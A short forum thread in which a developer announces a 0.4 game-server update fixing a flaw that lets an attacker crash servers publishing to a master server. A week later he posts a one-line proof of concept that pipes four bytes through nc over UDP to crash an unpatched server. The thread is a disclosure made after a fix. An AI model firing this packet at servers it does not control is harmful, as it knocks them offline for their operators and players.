0.4 update — Fixes a security issue

[dlh]

If you run a 0.4 server that publishes itself to a master server (TALK_TO_MASTER 1) then you should update. An attacker could cause the server to quit while it contacts a master.

[Jip]

Thanks for the update.

[dlh]

It's been a week, so here's the shell code to simulate a crash. You can make a 0.4 server re-publish itself to a master by entering and exiting the server when it's empty.

Code: Select all

printf "\x35\x00\x00\x00" | nc -4u -w1 <host> <port>